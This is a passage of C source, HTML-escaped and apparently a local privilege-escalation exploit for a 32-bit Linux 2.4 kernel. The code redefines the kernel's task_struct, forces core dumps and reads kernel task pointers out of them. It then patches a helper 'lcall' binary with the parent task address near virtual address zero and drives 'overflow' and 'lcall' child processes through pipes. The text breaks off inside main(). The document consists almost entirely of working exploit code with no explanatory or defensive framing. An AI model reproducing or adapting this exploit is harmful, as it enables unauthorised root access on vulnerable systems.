#define BINELF_LCALL&nbsp;&nbsp; &nbsp;"lcall"<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;signal.h&gt;<br>
<br>
void *first_o_task = NULL;<br>
void *o_task, *y_task;<br>
void *parent_task = NULL;<br>
<br>
struct list_head {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *next,
*prev;<br>
};<br>
<br>
<br>
&nbsp;struct task_struct {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * offsets of
these are hardcoded elsewhere - touch with care<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
state;&nbsp;&nbsp;&nbsp; /* -1 unrunnable, 0 runnable, &gt;0
stopped */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
flags;&nbsp;&nbsp;&nbsp; /* per process flags, defined below */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
sigpending;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
long&nbsp; addr_limit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*
thread address space:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xBFFFFFFF for user-thead<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0-0xFFFFFFFF for kernel-thread<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exec_domain
*exec_domain;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
need_resched;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
ptrace;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
lock_depth;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Lock
depth */<br>
&nbsp;<br>
&nbsp;/*<br>
&nbsp; * offset 32 begins here on 32-bit platforms. We keep<br>
&nbsp; * all fields in a single cacheline that are needed for<br>
&nbsp; * the goodness() loop in schedule().<br>
&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long counter;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long nice;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
policy;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int processor;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
cpus_runnable is ~0 if the process is not running on any<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * CPU. It's
(1 &lt;&lt; cpu) if it's running on a CPU. This mask<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * is updated
under the runqueue lock.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * To
determine whether a process might run on a CPU, this<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * mask is
AND-ed with cpus_allowed.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
cpus_runnable, cpus_allowed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * (only the
'next' pointer fits into the cacheline, but<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * that's
just fine.)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
run_list;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
sleep_time;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*next_task, *prev_task;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void
*active_mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
local_pages;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int
allocation_order, nr_local_pages;<br>
&nbsp;<br>
&nbsp;/* task state */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *binfmt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int exit_code,
exit_signal;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
pdeath_signal;&nbsp; /*&nbsp; The signal sent when the parent
dies&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ??? */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
personality;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
did_exec:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
task_dumpable:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t
tty_old_pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t session;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t tgid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* boolean value
for session group leader */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int leader;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * pointers
to (original) parent process, youngest child, younger sibling,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * older
sibling, respectively.&nbsp; (p-&gt;father can be replaced with<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
p-&gt;p_pptr-&gt;pid)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
thread_group;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* PID hash table
linkage. */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*pidhash_next;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
**pidhash_pprev;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
list_head&nbsp;
wait_chldexit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* for
wait4() */<br>
};<br>
<br>
static int read_coredump(int pid)<br>
{<br>
&nbsp;&nbsp; &nbsp;char corefile[128];<br>
&nbsp;&nbsp; &nbsp;char _task[0x1000];<br>
&nbsp;&nbsp; &nbsp;FILE *fd=NULL;<br>
&nbsp;&nbsp; &nbsp;int tmp_size;<br>
&nbsp;&nbsp; &nbsp;int rd_len=0;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *ptask;<br>
//&nbsp;&nbsp; &nbsp;task_struct *task_s;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Nhdr nhdr;<br>
<br>
&nbsp;&nbsp; &nbsp;memset(corefile,0,sizeof(corefile));<br>
&nbsp;&nbsp; &nbsp;memset(_task,0,sizeof(_task));<br>
&nbsp;&nbsp; &nbsp;sprintf(corefile,"./core.%d",pid);<br>
&nbsp;&nbsp; &nbsp;printf("opening:%s\n",corefile);<br>
&nbsp;&nbsp; &nbsp;if((fd=open(corefile,O_RDONLY))==NULL)<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open coredump
file:");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(-1);<br>
&nbsp;&nbsp; &nbsp;}<br>
//&nbsp;&nbsp; &nbsp;lseek(fd,sizeof(Elf32_Ehdr),SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;ehdr,sizeof(Elf32_Ehdr));<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;phdr,sizeof(Elf32_Phdr));<br>
/*<br>
&nbsp;&nbsp; &nbsp;printf("sizeof
Elf32_Ehdr:%x\n",sizeof(Elf32_Ehdr));<br>
&nbsp;&nbsp; &nbsp;printf("ehdr.e_phoff:%x\n",ehdr.e_phoff);<br>
&nbsp;&nbsp; &nbsp;printf("ehdr.e_phnum:%x\n",ehdr.e_phnum);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_type:%x\n",phdr.p_type);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_offset:%x\n",phdr.p_offset);<br>
&nbsp;&nbsp; &nbsp;printf("phdr.p_filesz:%x\n",phdr.p_filesz);<br>
*/<br>
&nbsp;&nbsp; &nbsp;//read Elf32_Nhdr elf_note<br>
&nbsp;&nbsp; &nbsp;lseek(fd,phdr.p_offset,SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;while(1){&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;read(fd,&amp;nhdr,sizeof(Elf32_Nhdr));<br>
&nbsp;&nbsp; &nbsp;if(nhdr.n_type==0x4)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
//&nbsp;&nbsp; &nbsp;printf("%x\n",nhdr.n_descsz);<br>
&nbsp;&nbsp; &nbsp;lseek(fd,nhdr.n_descsz+4,SEEK_CUR);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;lseek(fd,4,SEEK_CUR);<br>
&nbsp;&nbsp; &nbsp;rd_len=read(fd,&amp;_task,nhdr.n_descsz);<br>
&nbsp;&nbsp; &nbsp;ptask=(struct task_struct *)&amp;_task;<br>
//&nbsp;&nbsp; &nbsp;printf("pid: %d\n",ptask-&gt;pid);<br>
<br>
&nbsp;&nbsp; &nbsp;y_task = ptask-&gt;p_ysptr;<br>
&nbsp;&nbsp; &nbsp;o_task = ptask-&gt;p_osptr;<br>
<br>
&nbsp;&nbsp; &nbsp;if (!first_o_task)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;first_o_task = o_task;<br>
<br>
&nbsp;&nbsp; &nbsp;if (!parent_task)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;parent_task =
ptask-&gt;p_pptr;<br>
<br>
//&nbsp;&nbsp; &nbsp;printf("parent: %p\n", ptask-&gt;p_pptr);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
&nbsp;&nbsp; &nbsp;<br>
}<br>
<br>
static int check_coredump(int pid)<br>
{<br>
&nbsp;&nbsp; &nbsp;int n;<br>
&nbsp;&nbsp; &nbsp;if (read_coredump(pid) == -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return 0;<br>
<br>
&nbsp;&nbsp; &nbsp;n = ((long) y_task - (long) first_o_task) /
8192;<br>
&nbsp;&nbsp; &nbsp;printf("parent: %p overflow: %p lcall: %p
[%d]\n",<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;parent_task, first_o_task, y_task, n);<br>
<br>
&nbsp;&nbsp; &nbsp;if (n &gt; 0 &amp;&amp; n &lt;= 10)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return 1;<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
}<br>
<br>
static void make_coredump()<br>
{<br>
&nbsp;&nbsp; &nbsp;struct rlimit rl;<br>
&nbsp;&nbsp; &nbsp;int res;<br>
<br>
&nbsp;&nbsp; &nbsp;rl.rlim_cur = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;rl.rlim_max = RLIM_INFINITY;<br>
&nbsp;&nbsp; &nbsp;res = setrlimit(RLIMIT_CORE, &amp;rl);<br>
&nbsp;&nbsp; &nbsp;if (res != 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("setrlimit");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;*(int *) 0 = 0;<br>
}<br>
<br>
static int fix_lcall()<br>
{<br>
&nbsp;&nbsp; &nbsp;int fd;<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open(BINELF_LCALL, O_RDWR);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open
"BINELF_LCALL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return -1;<br>
&nbsp;&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;<br>
<br>
&nbsp;&nbsp; &nbsp;/* virtual address 0x00000000:<br>
&nbsp;&nbsp; &nbsp; * [execdomain name pointer][handler for
syscalls][stack &amp; register save][jmp code][task pointer of
parent])<br>
&nbsp;&nbsp; &nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;lseek(fd, 8192+4+4+8+4, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;parent_task,
sizeof(parent_task));<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
}<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int pipe_of[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int pipe_lcall[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int pipe_mcd[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int mcd_pid, lcall_pid, copy_pid;<br>
&nbsp;&nbsp; &nbsp;int status;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_of) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe overflow");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_mcd) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe
make_coredump");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe(pipe_lcall) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe_lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;/* overflow process */<br>
&nbsp;&nbsp; &nbsp;if (fork() == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char cmd[32];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (read(pipe_of[0], cmd,
sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;perror("read pipe_of");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (strncmp(cmd, "start", 5)
== 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *p[]
= {BINELF_OVERFLOW, cmd+5, 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;execve(BINELF_OVERFLOW, p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;perror(BINELF_OVERFLOW);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if (strcmp(cmd, "stop")
== 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fprintf(stderr, "pipe_of
command \"%s\" error!\n", cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(1);&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* make coredump file process
*/<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if ((mcd_pid = fork()) == 0)
{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char
cmd[8];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(read(pipe_mcd[0], cmd, sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror("read pipe_mcd");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(strcmp(cmd, "start") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;make_coredump();<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;fprintf(stderr, "make coredump file
failed!\n");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "stop") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;fprintf(stderr, "pipe_mcd command \"%s\" error!\n", cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* lcall process */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if ((lcall_pid = fork()) ==
0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char
cmd[8];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(read(pipe_lcall[0], cmd, sizeof(cmd)) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror("read pipe_lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(strcmp(cmd, "start") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;char *p[] = {BINELF_LCALL, 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;execve(BINELF_LCALL, p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;perror(BINELF_LCALL);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "pause") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;pause();<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;else if
(strcmp(cmd, "stop") == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;fprintf(stderr, "pipe_lcall command \"%s\" error!\n",
cmd);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;exit(-1);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;write(pipe_mcd[1], "start",
6);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sleep(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if
(waitpid(mcd_pid, &amp;status, 0) &lt; 0)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
<br>
